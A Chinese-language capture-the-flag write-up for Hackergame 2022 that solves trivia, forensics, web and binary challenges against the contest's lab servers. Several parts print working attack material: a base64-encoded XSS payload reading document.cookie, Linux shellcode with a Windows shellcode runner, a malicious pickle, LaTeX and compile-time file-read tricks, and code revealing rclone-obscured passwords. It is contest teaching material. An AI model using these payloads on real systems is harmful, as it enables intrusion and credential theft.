Hackergame 2022 Writeup

Hackergame 2022 Writeup

感觉今年的 Hackergame 更加友好喵!

虽然不如大佬们,但是还是写一份自己的题解吧。覆盖了前半大部分题目和后面的部分题目(的部分小问)。

请用右边的目录进行快速跳转喵。

[Web] 签到

我是急急国王,F12 → <baseUrl>?result=2022

[General] 猫咪问答

痛失一血

A1

Google: USTC NEBULA “成立”

中国科学技术大学星云(Nebula)战队在第六届强网杯再创佳绩

2022年8月26日 — 同时,此次代表中国科大出征的Nebula战队是进入线下决赛32支队伍中平均 … 中国科学技术大学“星云战队(Nebula)”成立于2017年3月,“星云”一词来自 …

答案:2017-03


A2

2022中国科学技术大学软件自由日 - 中科大LUG (02:41:47) - 哔哩哔哩

虽然本人并不使用 KDE,但是通过图片推测是一款用于剪辑视频的软件。

Google: KDE video edit software

答案:Kdenlive


A3

Google: FireFox Windows 2000 drop support

The latest versions to work on w2000 are 28.0 and 24.8.1esr. Wich to use, and why? - Mozilla Support

Firefox 12.0 was the last version of Firefox that worked on Windows 2000.

See the system requirements for Firefox 13.0 and later versions.

http://www.mozilla.org/en-US/firefox/13.0/system-requirements/

答案:12


A4

Google: torvalds/linux.git “CVE-2021-4034”

New CVE entries this week

搜索 CVE 号得到:

Thank you for adding the CVE-2021-4034.yml.

I got it. The commit dcd46d8 (“exec: Force single empty string when argv is empty”) will prevent CVE-2021-4034 like attacks.

再去 Git 仓库中找到完整的 hash 即可。

答案:dcd46d897adb70d63e025f175a00a89797d31a43


A5

直接用 Shodan 搜索 MD5 fingerprint 即可:

e4:ff:65:d7:be:5d:c8:44:1d:89:6b:50:f5:50:a0:ce - Shodan Search


答案:sdf.org


A6

个人评价本次六道题里面相比之下最绕的。

Google: 中国科技大学 网络通

网络通 - 中国科学技术大学

→ 下方的「常见问题列表(常见问题的解答)」

→ 服务内容 - 4. 科大校园网络的收费标准是什么?

  1. 科大校园网络的收费标准是什么?

中国科学技术大学校园网络运行及通信费用分担办法(2011年1月1日起实行)

……

Google: 中国科学技术大学校园网络运行及通信费用分担办法

关于实行新的网络费用分担办法的通知 - 中国科学技术大学

……同时网字〔2003〕1号《关于实行新的网络费用分担办法的通知》终止实行。

中国科学技术大学 网络信息中心 > 官方文件 > 网字文件 > 第 2 页

关于实行新的网络费用分担办法的通知 (2003-03-01)

答案:2003-03-01

[General] 家目录里的秘密

VS Code 里的 flag

.config\Code\User\History\2f23f721\DUGV.c
1
2
3
4
5
6
7
8
//
// ramdisk that uses the disk image loaded by qemu -initrd fs.img
//

// flag{finding_everything_through_vscode_config_file_932rjdakd}

#include "types.h"
...

Flag: flag{finding_everything_through_vscode_config_file_932rjdakd}

Rclone 里的 flag

.config\rclone\rclone.conf
1
2
3
4
5
[flag2]
type = ftp
host = ftp.example.com
user = user
pass = tqqTq4tmQRDZ0sT_leJr7-WtCiHVXSMrVN49dWELPH1uce-5DPiuDtjBUN3EI38zvewgN5JaZqAirNnLlsQ

Rclone 存储的密码显然是可还原为明文的,只是需要稍微看看是怎么弄的。

如果你正巧装有 rclone,可以直接 rclone reveal <obscured password>

(自然也可以 rclone obscure <plaintext pasword> 来藏密码)

如果没有的话(比如没找到 reveal 这个 command 的时候),也可以一顿 Google 之后直接发现在线轮子,一键开摆:

How to retrieve a ‘crypt’ password from a config file

Go 代码 >folded
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package main

import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"errors"
"fmt"
"log"
)

// crypt internals
var (
cryptKey = []byte{
0x9c, 0x93, 0x5b, 0x48, 0x73, 0x0a, 0x55, 0x4d,
0x6b, 0xfd, 0x7c, 0x63, 0xc8, 0x86, 0xa9, 0x2b,
0xd3, 0x90, 0x19, 0x8e, 0xb8, 0x12, 0x8a, 0xfb,
0xf4, 0xde, 0x16, 0x2b, 0x8b, 0x95, 0xf6, 0x38,
}
cryptBlock cipher.Block
cryptRand = rand.Reader
)

// crypt transforms in to out using iv under AES-CTR.
//
// in and out may be the same buffer.
//
// Note encryption and decryption are the same operation
func crypt(out, in, iv []byte) error {
if cryptBlock == nil {
var err error
cryptBlock, err = aes.NewCipher(cryptKey)
if err != nil {
return err
}
}
stream := cipher.NewCTR(cryptBlock, iv)
stream.XORKeyStream(out, in)
return nil
}

// Reveal an obscured value
func Reveal(x string) (string, error) {
ciphertext, err := base64.RawURLEncoding.DecodeString(x)
if err != nil {
return "", fmt.Errorf("base64 decode failed when revealing password - is it obscured? %w", err)
}
if len(ciphertext) < aes.BlockSize {
return "", errors.New("input too short when revealing password - is it obscured?")
}
buf := ciphertext[aes.BlockSize:]
iv := ciphertext[:aes.BlockSize]
if err := crypt(buf, buf, iv); err != nil {
return "", fmt.Errorf("decrypt failed when revealing password - is it obscured? %w", err)
}
return string(buf), nil
}

// MustReveal reveals an obscured value, exiting with a fatal error if it failed
func MustReveal(x string) string {
out, err := Reveal(x)
if err != nil {
log.Fatalf("Reveal failed: %v", err)
}
return out
}

func main() {
fmt.Println(MustReveal("tqqTq4tmQRDZ0sT_leJr7-WtCiHVXSMrVN49dWELPH1uce-5DPiuDtjBUN3EI38zvewgN5JaZqAirNnLlsQ"))
}

(当然,也可以直接从 rclone 的 git repo 里 import implement)

Flag: flag{get_rclone_password_from_config!_2oi3dz1}

[General] HeiLang

将「HeiLang」语法还原为标准蟒蛇第三代语法即可。

同样是 Python 语法,直接替换 |] = a[ 不就行了么。

1
2
a[2012] = a[4826] = a[6289] = a[8467] = a[8799] = 768
a[4408] = a[4889] = a[5202] = a[6404] = a[7055] = a[7175] = a[9469] = 781

替换之后的输出:

Tha flag is: flag{6d9ad6e9a6268d96-de2ae5aead1326e1}

(怎么还有错别字啊,这也是 HeiLang 的一部分吗)

Flag: flag{6d9ad6e9a6268d96-de2ae5aead1326e1}

[Web] Xcaptcha

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import re
from requests import session

# use cookie jar
s = session()

# init token
r = s.get(r'http://202.38.93.111:10047/?token=<yourtoken>')

# get captcha questions
r = s.get('http://202.38.93.111:10047/xcaptcha')
# e.g. <label for="captcha1">108622663737422539728385006966352463731+248115407975812413190990318602827055584 的结果是?</label>
regex = r'<label for="captcha\d">(\d+)\+(\d+) 的结果是?</label>'
m = re.findall(regex, r.text, re.MULTILINE)

print(r.text)
print(m)

# calc the answer
answer1 = int(m[0][0]) + int(m[0][1])
answer2 = int(m[1][0]) + int(m[1][1])
answer3 = int(m[2][0]) + int(m[2][1])

# post the answer
r = s.post(
'http://202.38.93.111:10047/xcaptcha',
data={'captcha1': answer1, 'captcha2': answer2, 'captcha3': answer3}
)
print(r.text)

[General] 旅行照片 2.0

第一题:照片分析

本题内容可以用 ExifTool 全部解决。

Q1. 图片所包含的 EXIF 信息版本是多少?(如 2.1)。

2.31

Q2. 拍照使用手机的品牌是什么?

小米 / 红米

Q3. 该图片被拍摄时相机的感光度(ISO)是多少?(整数数字,如 3200)

84

Q4. 照片拍摄日期是哪一天?(格式为年/月/日,如 2022/10/01。按拍摄地点当地日期计算。)

2022/05/14

Q5. 照片拍摄时是否使用了闪光灯?

Flag: flag{1f_y0u_d0NT_w4nt_shOw_theSe_th3n_w1Pe_EXlF}


第二题:社工实践

酒店

Q1

请写出拍照人所在地点的邮政编码,格式为 3 至 10 位数字,不含空格或下划线等特殊符号(如 230026、94720)。

其实这在某种意义上来说是最坑的。

观察图片,环形建筑上的「WELCOME TO ZOZOMA??? STADIUM」的文字还是相对比较清晰的,只需要让 Google 帮我们 fix 一下就知道,此建筑是「ZOZOマリンスタジアム(ZOZO海洋球场)」。

Google 地图给出的地址:〒261-0022 千葉県千葉市美浜区美浜1

好的,那么此题的答案就是 2610022 …… 吗?

再读一遍,题上问的是「拍照人所在地点」,所以应当是反推酒店所在区域的邮编,实际为 261-0021(大概是 APA HOTEL& RESORT TOKYO BAY MAKUHARI)

答案:2610021

Q2

照片窗户上反射出了拍照人的手机。那么这部手机的屏幕分辨率是多少呢?(格式为长 + 字母 x + 宽,如 1920x1080)

看不看图不重要,Exif 里有设备 codename:juice,查找一下就知道了

答案:2340x1080

航班

仔细观察,可以发现照片空中(白色云上方中间位置)有一架飞机。你能调查出这架飞机的信息吗?

  • Q3. 起飞机场(IATA 机场编号,如 PEK)
  • Q4. 降落机场(IATA 机场编号,如 HFE)
  • Q5. 航班号(两个大写字母和若干个数字,如 CA1813)

这是同一组问题。此地附近有羽田空港,并且按照图上飞机飞行方向和地图方位推算,大概率是羽田出港航班。

Exif 中的拍摄时间为 2022:05:14 18:23:35时区未说明,暂且认为是日本时间(UTC+9) 时区其实在 Exif Offset Time 中,当时看漏了。

所以在 HND 出港航班中筛选符合条件的。但是因为时间较远,Flightradar24 等网站需要开通会员才能使用,同时同一时间段航班较多且起飞时间具有不确定性,又不想花钱所以直接上暴力。

从 FR24 提取本周六(2022/10/22,对应那一天也是周六)HND 所有航班的航班号和目的机场(当然提取拍摄时间 ±2 小时的航班也是可以的),构造请求即可。

遍历航班脚本 >folded
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import base64
from requests import session

flights = '''...
NH37, ITM
NH75, CTS
NH267, FUK
NH657, OKJ
NH85, NGO
NH95, KIX
NH683, HIJ
6J25, OKA
6J79, KOJ
NH407, AXT
BC523, OKA
JL485, TAK
NH387, YGJ
BC727, CTS
JL149, AOJ
JL287, IZO
JL191, KMQ
JL377, KKJ
JL527, CTS
...'''

for i in flights.split('\n'):
flight, dest = i.split(', ')
# http://202.38.93.111:10055/MT0yNjEwMDIyJjI9MjM0MHgxMDgwJjM9SE5EJjQ9T0JPJjU9Skw1Nzk=.txt
# base64 decoded example: 1=2610021&2=2340x1080&3=HND&4=OBO&5=JL579
ans = '1=2610021&2=2340x1080&3=HND&4={}&5={}'.format(dest, flight)
# print(ans)
ans_enc = base64.b64encode(ans.encode('utf-8')).decode('utf-8')
r = s.get(f'http://202.38.93.111:10055/{ans_enc}.txt')
if r.status_code == 200:
print(ans)
print(r.text)
break
elif r.status_code == 404:
print(f'WA: {ans}')

但是,能得到正确答案的前提是前两题答案没错。而实际上,我一开始填入的是球场的邮编,所以遍历所有航班也没有得出正确结果。

意识到别的答案可能有问题之后,很快修正找到了答案:

HND - HIJ, NH683

Flag: flag{Buzz_0ver_y0ur_h34d_and_4DSB_m19ht_111egal}

[General] 猜数字

GuessNumber.java >folded
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
private State update(XMLEventReader reader) throws XMLStreamException {
var result = Optional.<State>empty();
var nameStack = new Stack<String>();
while (reader.hasNext()) {
var event = reader.nextEvent();
if (event.isStartElement()) {
var name = event.asStartElement().getName().getLocalPart();
nameStack.push(name);
}
if (event.isEndElement()) {
if (nameStack.empty()) throw new XMLStreamException();
var name = event.asEndElement().getName().getLocalPart();
if (!name.equals(nameStack.pop())) throw new XMLStreamException();
}
if (event.isCharacters()) {
var path = List.of("state", "guess");
if (!path.equals(nameStack)) continue;
if (result.isPresent()) throw new XMLStreamException();
try {
var guess = Double.parseDouble(event.asCharacters().getData());

var isLess = guess < this.number - 1e-6 / 2;
var isMore = guess > this.number + 1e-6 / 2;

var isPassed = !isLess && !isMore;
var isTalented = isPassed && this.previous.isEmpty();

var newPassed = isPassed ? this.passed + 1 : this.passed;
var newTalented = isTalented ? this.talented + 1 : this.talented;
var newNumber = isPassed ? RNG.nextInt(1, 1000000) * 1e-6 : this.number;
var newPrevious = isPassed ? OptionalDouble.empty() :OptionalDouble.of(guess);

result = Optional.of(new State(this.token, newPassed, newTalented, newNumber, newPrevious));
} catch (NumberFormatException e) {
throw new XMLStreamException(e);
}
}
}
if (!nameStack.empty()) throw new XMLStreamException();
if (result.isEmpty()) throw new XMLStreamException();
return result.get();
}

要让 isLessisMore 均为 False 有两种方法:

  • 成为真正的欧皇,一击拿下
  • 直接给 Double.parseDouble 喂一个 NaN (Not a Number) 进去,不管怎么比都 False

(第一次接触 NaN 还是群友 QA 我的小玩具,哭哭)

前端存在限制,提取请求之后手动 POST 即可,记得 POST 完再 GET 一下 /state 拿走你的 flag。

[General] LaTeX 机器人

纯文本

1
\input{/flag1}

特殊字符混入

分开执行

1
2
\pdffiledump offset 0 length \pdffilesize{/flag2} {/flag2}
\pdffiledump offset 24 length \pdffilesize{/flag2} {/flag2}

人力 OCR 并拼接一下得到 666C6167... hex 转 ASCII 即可。

[Web] Flag 的痕迹

http://202.38.93.111:15004/doku.php?do=diff&rev2[0]=1640028507&rev2[1]=1642842159&difftype=sidebyside

也许并不是很科学,但我是这么做的。 戳啦,这就是最科学的。

使用了官方 DokuWiki Revision 的请求样例:

https://www.dokuwiki.org/dokuwiki?do=diff&rev2[0]=1640028507&rev2[1]=1642842159&difftype=sidebyside

Flag: flag{d1gandFInD_d0kuw1k1_unexpectEd_API}

[General] 安全的在线测评

无法 AC 的题目

静态数据没有限制好权限,直接偷就行了。注意路径。

oj.c >folded
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// Big integer factorization
// You know it's impossible and this is CTF, so read file and cheat

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void) {
// read static cases
FILE *fin = fopen("./data/static.in", "r");
FILE *fout = fopen("./data/static.out", "r");
char *static_test_case = malloc(500);
fread(static_test_case, 500, 1, fin);
static_test_case[500] = 0;
char *static_test_case_output = malloc(1000);
fread(static_test_case_output, 1000, 1, fout);
static_test_case_output[1000] = 0;

// store stdin
char *stdin_buf = (char *)malloc(1024);
memset(stdin_buf, 0, 1024);
fread(stdin_buf, 1, 1024, stdin);

// compare stdin and static test case
if (strcmp(stdin_buf, static_test_case) == 0) {
printf("%s", static_test_case_output);
return 0;
}

return 0;
}

Flag: flag{the_compiler_is_my_eyes_XXXXXXXXXX}

动态数据

判题脚本里可以看到动态数据的权限是 0700,显然编译后的 runner 用户是无法读取的。

不过第一问的 Flag 给了一些提示,因此将目光转向能在编译阶段执行的代码。

Preprocessor → Compiler → Assembler → Object Code (+ Lib) → Linker → Executable

oj.c >folded
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
// Big integer factorization
// You know it's impossible and this is CTF, so read file and cheat

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void) {
// Let compiler read them while explaining assembly
extern char dynamic_case_0[];
extern char dynamic_case_1[];
extern char dynamic_case_2[];
extern char dynamic_case_3[];
extern char dynamic_case_4[];
extern char dynamic_case_out_0[];
extern char dynamic_case_out_1[];
extern char dynamic_case_out_2[];
extern char dynamic_case_out_3[];
extern char dynamic_case_out_4[];
char *test_case[10] = {dynamic_case_0, dynamic_case_1, dynamic_case_2, dynamic_case_3, dynamic_case_4};
char *test_case_out[10] = {dynamic_case_out_0, dynamic_case_out_1, dynamic_case_out_2, dynamic_case_out_3, dynamic_case_out_4};

// C source file path: ./temp/code.c
// C compiled executable path: ./temp/temp_bin
// data folder path: ./data

// static test case: ./data/static.in
// static test case: ./data/static.out

// read static cases
FILE *fin = fopen("./data/static.in", "r");
FILE *fout = fopen("./data/static.out", "r");
char *static_test_case = malloc(500);
fread(static_test_case, 500, 1, fin);
static_test_case[500] = 0;
char *static_test_case_output = malloc(1000);
fread(static_test_case_output, 1000, 1, fout);
static_test_case_output[1000] = 0;

// store stdin
char *stdin_buf = (char *)malloc(1024);
memset(stdin_buf, 0, 1024);
fread(stdin_buf, 1, 1024, stdin);

// compare stdin and static test case
if (strcmp(stdin_buf, static_test_case) == 0) {
printf("%s", static_test_case_output);
return 0;
}

// compare stdin and dynamic test case
for (int i = 0; i <= 4; i++) {
if (strcmp(stdin_buf, test_case[i]) == 0) {
printf("%s", test_case_out[i]);
return 0;
}
}

return 0;
}

// dynamic test case: ./data/danamic{0-4}.in
// dynamic test case: ./data/danamic{0-4}.out

// read all dynamic test cases
// Use assembly here
asm(
".section .rodata\n"
".global dynamic_case_0\n"
"dynamic_case_0:\n"
".incbin \"./data/dynamic0.in\"\n"
".byte 0\n"
".global dynamic_case_1\n"
"dynamic_case_1:\n"
".incbin \"./data/dynamic1.in\"\n"
".byte 0\n"
".global dynamic_case_2\n"
"dynamic_case_2:\n"
".incbin \"./data/dynamic2.in\"\n"
".byte 0\n"
".global dynamic_case_3\n"
"dynamic_case_3:\n"
".incbin \"./data/dynamic3.in\"\n"
".byte 0\n"
".global dynamic_case_4\n"
"dynamic_case_4:\n"
".incbin \"./data/dynamic4.in\"\n"
".byte 0\n"
".global dynamic_case_out_0\n"
"dynamic_case_out_0:\n"
".incbin \"./data/dynamic0.out\"\n"
".byte 0\n"
".global dynamic_case_out_1\n"
"dynamic_case_out_1:\n"
".incbin \"./data/dynamic1.out\"\n"
".byte 0\n"
".global dynamic_case_out_2\n"
"dynamic_case_out_2:\n"
".incbin \"./data/dynamic2.out\"\n"
".byte 0\n"
".global dynamic_case_out_3\n"
"dynamic_case_out_3:\n"
".incbin \"./data/dynamic3.out\"\n"
".byte 0\n"
".global dynamic_case_out_4\n"
"dynamic_case_out_4:\n"
".incbin \"./data/dynamic4.out\"\n"
".byte 0\n"
".section .text\n"
);

Flag: flag{cpp_need_P1040_std_embed_XXXXXXXXXX}

[General] 线路板

删减 ebaz_sdr-F_Cu.gbr 去掉遮挡即可获得 flag。

ebaz_sdr-F_Cu.gbr >folded
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
%TF.GenerationSoftware,KiCad,Pcbnew,(6.0.6)*%
%TF.CreationDate,2022-08-23T23:43:20+09:00*%
%TF.ProjectId,ebaz_sdr,6562617a-5f73-4647-922e-6b696361645f,rev?*%
%TF.SameCoordinates,Original*%
%TF.FileFunction,Copper,L1,Top*%
%TF.FilePolarity,Positive*%
%FSLAX46Y46*%
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
G04 Created by KiCad (PCBNEW (6.0.6)) date 2022-08-23 23:43:20*
%MOMM*%
%LPD*%
G01*
G04 APERTURE LIST*
%TA.AperFunction,NonConductor*%
%ADD10C,1.270000*%
%TD*%
%ADD11C,0.300000*%
%TA.AperFunction,NonConductor*%
%ADD12C,0.300000*%
%TD*%
G04 APERTURE END LIST*
D10*
D11*
D12*
X144659285Y-113343571D02*
X145230714Y-113343571D01*
X144873571Y-114343571D02*
......
X181302142Y-112700714D01*
X181159285Y-112629285D01*
X181087857Y-112629285D01*

可使用 在线预览网站 进行查看。

Flag: flag{8_1ayER_rogeRS_81ind_V1a}

[Binary] Flag 自动机

修改两处代码即可,这里使用的是 Ollydbg,不过也不是用来动态调试。

第一处把 call eax nop 掉,使按钮不再乱飞:

nop call

第二处把跳转改为 jmp 无条件跳转,绕过「权限检测」:

modify jump to "jmp"

然后就可以直接获得 Flag 了,解密什么的肯定不需要去关心的。

其实算是一道简单的 CrackMe,但是用 IDA 一直没调好浪费了好多时间 quq

Flag: flag{Y0u_rea1ly_kn0w_Win32API_89ab91ac0c}

[Web] 微积分计算小练习

XSS 注入,但是注意容器环境疑似没有外网访问权限,所以不能跨站。(一开始想把 cookie 挂在 query 里偷走,然后一度以为 xss 失败了)

但是给了终端,所以直接替换掉终端原本会显示出来的内容,用来显示放在 Cookie 里的 Flag 即可。

……这里可能「经验丰富」的选手会有思维定势,会写出把 document.cookie 发送到自己的服务器的 payload——结果发现环境压根没网。……

……你再骂!(但我也不是经验丰富的选手啊,苦鲁西)

示例链接:

http://202.38.93.111:10056/share?result=MDo8aW1nIHNyYz0iIyIgaWQ9IlpHOWpkVzFsYm5RdWNYVmxjbmxUWld4bFkzUnZjaWdpSTJkeVpXVjBhVzVuSWlrdWFXNXVaWEpJVkUxTUlEMGdZblJ2WVNoa2IyTjFiV1Z1ZEM1amIyOXJhV1VwIiBvbmVycm9yPSJldmFsKGF0b2IodGhpcy5pZCkpIiAvPg==

1
<img src="#" id="ZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiI2dyZWV0aW5nIikuaW5uZXJIVE1MID0gYnRvYShkb2N1bWVudC5jb29raWUp" onerror="eval(atob(this.id))" />

base64 decode 之后的 XSS 内容:

1
document.querySelector("#greeting").innerHTML = btoa(document.cookie)

终端输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Please input your token: XXXX:XXXXXX
Please submit your quiz URL:
> http://202.38.93.111:10056/share?result=MDo8aW1nIHNyYz0iIyIgaWQ9IlpHOWpkVzFsYm5RdWNYVmxjbmxUWld4bFkzUnZjaWdpSTJkeVpXVjBhVzVuSWlrdWFXNXVaWEpJVkUxTUlEMGdZblJ2WVNoa2IyTjFiV1Z1ZEM1amIyOXJhV1VwIiBvbmVycm9yPSJldmFsKGF0b2IodGhpcy5pZCkpIiAvPg==
Your URL converted to http://web/share?result=MDo8aW1nIHNyYz0iIyIgaWQ9IlpHOWpkVzFsYm5RdWNYVmxjbmxUWld4bFkzUnZjaWdpSTJkeVpXVjBhVzVuSWlrdWFXNXVaWEpJVkUxTUlEMGdZblJ2WVNoa2IyTjFiV1Z1ZEM1amIyOXJhV1VwIiBvbmVycm9yPSJldmFsKGF0b2IodGhpcy5pZCkpIiAvPg==
I am using Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/106.0.5249.119 Safari/537.36
- Logining...
Putting secret flag...
- Now browsing your quiz result...
OK. Now I know that:
<一串解密后为 Flag 的 Base64>==
您在练习中获得的分数为 0/100
- Thank you for joining my quiz!

Connection closed

[Binary] 杯窗鹅影

Wine 都是幌子,只要能执行 shellcode 就行了。

参考

1
2
3
4
5
6
7
8
9
10
11
12
#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = "YOUR SHELLCODE";

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
LPVOID exec_buffer = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
void (*pcode)() = (void(*)())exec_buffer;

memcpy(exec_buffer, shellcode, sizeof(shellcode));
pcode();
}

Flag1

1
2
3
4
5
6
7
8
9
10
11
// Q1: Read flag file
unsigned char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xeb\x32\x5b\xb0\x05\x31\xc9\xcd"
"\x80\x89\xc6\xeb\x06\xb0\x01\x31"
"\xdb\xcd\x80\x89\xf3\xb0\x03\x83"
"\xec\x01\x8d\x0c\x24\xb2\x01\xcd"
"\x80\x31\xdb\x39\xc3\x74\xe6\xb0"
"\x04\xb3\x01\xb2\x01\xcd\x80\x83"
"\xc4\x01\xeb\xdf\xe8\xc9\xff\xff"
"\xff"
"/flag1";

Flag2

1
2
3
4
5
// Q2: Execute /readflag
unsigned char shellcode[] = "\x31\xc0\x50\x48\x8b\x14\x24\xeb\x10\x54"
"\x78\x06\x5e\x5f\xb0\x3b\x0f\x05\x59\x5b"
"\x40\xb0\x0b\xcd\x80\xe8\xeb\xff\xff\xff"
"/readflag";

[Math] 蒙特卡罗轮盘赌

1
srand((unsigned)time(0) + clock());

随机但又没那么随机的随机数种子为 timestamp + clock,搭建 Docker 测试 clock 在 900 ~ 1000 左右,对未来时间打表并故意输掉一次(或两次,如果运气不好的话)确定正确的「随机数」组开挂即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

#define FUTURE_TIMESTAMP 1666629910


double rand01()
{
return (double)rand() / RAND_MAX;
}

int main()
{
// disable buffering
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
for (unsigned int i = FUTURE_TIMESTAMP; i <= FUTURE_TIMESTAMP + 1000; i++) {
srand(i);
char target[20];
for (int i = 5; i > 0; i--) {
int M = 0;
int N = 400000;
for (int j = 0; j < N; j++) {
double x = rand01();
double y = rand01();
if (x*x + y*y < 1) M++;
}
double pi = (double)M / N * 4;
sprintf(target, "%1.5f", pi);
printf("%s\n", target);
}
printf("\n");
}
return 0;
}

[Web] 二次元神经网络

最开始以为是炼丹题,然后尝试优化了一下各种小参也只能压到 0.0012 左右的 loss,直到后来意识到这其实是「Web」。

正好最近也有玩 Stable Diffusion(NovelAI),所以关注 repo 的应该也会知道 unsafe pickle 的事情;放到这道题,只要构造恶意 pickle 就好了。

(图片在题目网页右键保存就行了,也可以从训练集 pt 中还原)

构造的时候用到了 picklemagic 来在执行恶意代码的同时返回一个正常的对象给 torch,让 infer.py 不会报错。而 infer 函数的最后一句是 json.dump,所以就替换掉它吧。

需要注意的是,model.pt 是一个 zip,而构造出来的 pickle 文件需要被替换进 zip 中。

1
2
3
4
5
6
def evil_dump(_, fp):
fp.write(image_data)
fp.close()

import json
json.dump = evil_dump

[Math] 惜字如金

其实意思就是还原被「惜字如金」化的脚本,里面有构成加密需要的参数。

HS384

其中的 secret 就是 HMAC 签名会用到的密钥,穷举所有可能的「惜字如金」化之前的 secret 值并计算 SHA384 比对特征即可,secret 长度通过 check_equals 函数给出提示为 39。

当然脚本里的 SHA384 也被「惜字如金」化了,所以我采用的是选取其中的一段连续数字作为检测 keyword。

代码比较丑,就当图一乐,也没加任何优化,反正是能跑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from hashlib import sha384
from string import ascii_letters, ascii_lowercase

secret = 'ustc.edu.cn'
kw = '62074271866' # digits won't be affected by XZRJification
tried = set()
log = open('log.txt', 'w')

# Try to recover the secret
def recur(cur: str, maxlen: int):
if len(cur) == maxlen:
log.write(cur + '\n')
if kw in sha384(cur.encode('ascii')).hexdigest():
print(cur + ' is the secret!')
exit(0)
tried.add(cur)
return

for idx, ch in enumerate(cur):
# XZRJification Method 1
if ch in ascii_letters and ch.lower() not in 'aeiou' and (idx == len(cur) - 1 or cur[idx + 1] not in ascii_letters):
if cur[:idx + 1] + 'e' + cur[idx + 1:] not in tried:
tried.add(cur[:idx + 1] + 'e' + cur[idx + 1:])
recur(cur[:idx + 1] + 'e' + cur[idx + 1:], maxlen)

# XZRJification Method 2
if ch in ascii_lowercase and ch not in 'aeiou':
for i in range(1, maxlen - len(cur) + 1):
if cur[:idx + 1] + ch * i + cur[idx + 1:] not in tried:
tried.add(cur[:idx + 1] + ch * i + cur[idx + 1:])
recur(cur[:idx + 1] + ch * i + cur[idx + 1:], maxlen)


recur(secret, 39)

得到 secret = b'usssttttttce.edddddu.ccccccnnnnnnnnnnnn',签名三次文件即可。

RS384 不会做.jpg

[General] 光与影

本人不会 WebGL / 图形学,全靠蒙。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 float sceneSDF(vec3 p, out vec3 pColor) {
pColor = vec3(1.0, 1.0, 1.0);

vec4 pH = mk_homo(p);
vec4 pTO = mk_trans(35.0, -5.0, -20.0) * mk_scale(1.5, 1.5, 1.0) * pH;

float t1 = t1SDF(pTO.xyz);
float t2 = t2SDF((mk_trans(-45.0, 0.0, 0.0) * pTO).xyz);
float t3 = t3SDF((mk_trans(-80.0, 0.0, 0.0) * pTO).xyz);
float t4 = t4SDF((mk_trans(-106.0, 0.0, 0.0) * pTO).xyz);
- float t5 = t5SDF(p - vec3(36.0, 10.0, 15.0), vec3(30.0, 5.0, 5.0), 2.0);
+ float t5 = t5SDF(p - vec3(-200.0, 10.0, 15.0), vec3(30.0, 5.0, 5.0), 2.0);

float tmin = min(min(min(min(t1, t2), t3), t4), t5);
return tmin;
}

一番探索后发现 t5SDF 就是那块挡住 Flag 的阴影,变换位置移走即可。

Flag: flag{SDF-i3-FuN!}

[Binary] 片上系统

引导扇区

下载安装 PulseView 并导入 Raw Binary,通道数和采样率按照 metadata 文件填写即可。

然后在工具栏中 Add protocol decoder 添加一个 SD card (SPI mode)

四个通道明显是 0~3 不过哪个是哪个需要一点分析(发出零基础的声音),结果如下:

Name Channel
CLK 1
MISO 2
MOSI 3
CS# 0

然后到引导末尾读出 hex flag 即可。

Flag: flag{0K_you_goT_th3_b4sIc_1dE4_caRRy_0N}

第二题真不会,还是不 Carry on 了,告辞捏

[Math] 企鹅拼盘

这么简单我闭眼都可以!

0000 ~ 1111 16 种手动枚举一下能知道正解是 1000。

大力当然出奇迹啦~

把题目代码做一个精简版本的硬跑就行了,也就 16384 种。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import json

class Board:
# 直接把题目里的复制过来就行了,我懒得在这再放一次了

def chal(bitlength, obf, start = 0):
filename = f'chals/b{bitlength}{"_obf" if obf else ""}.json'
with open(filename) as f:
branches = json.load(f)
board = Board()

for i in range(start, 2 ** bitlength):
# print progress every 100 iterations
if i % 100 == 0:
print(f'Iteration {i}')
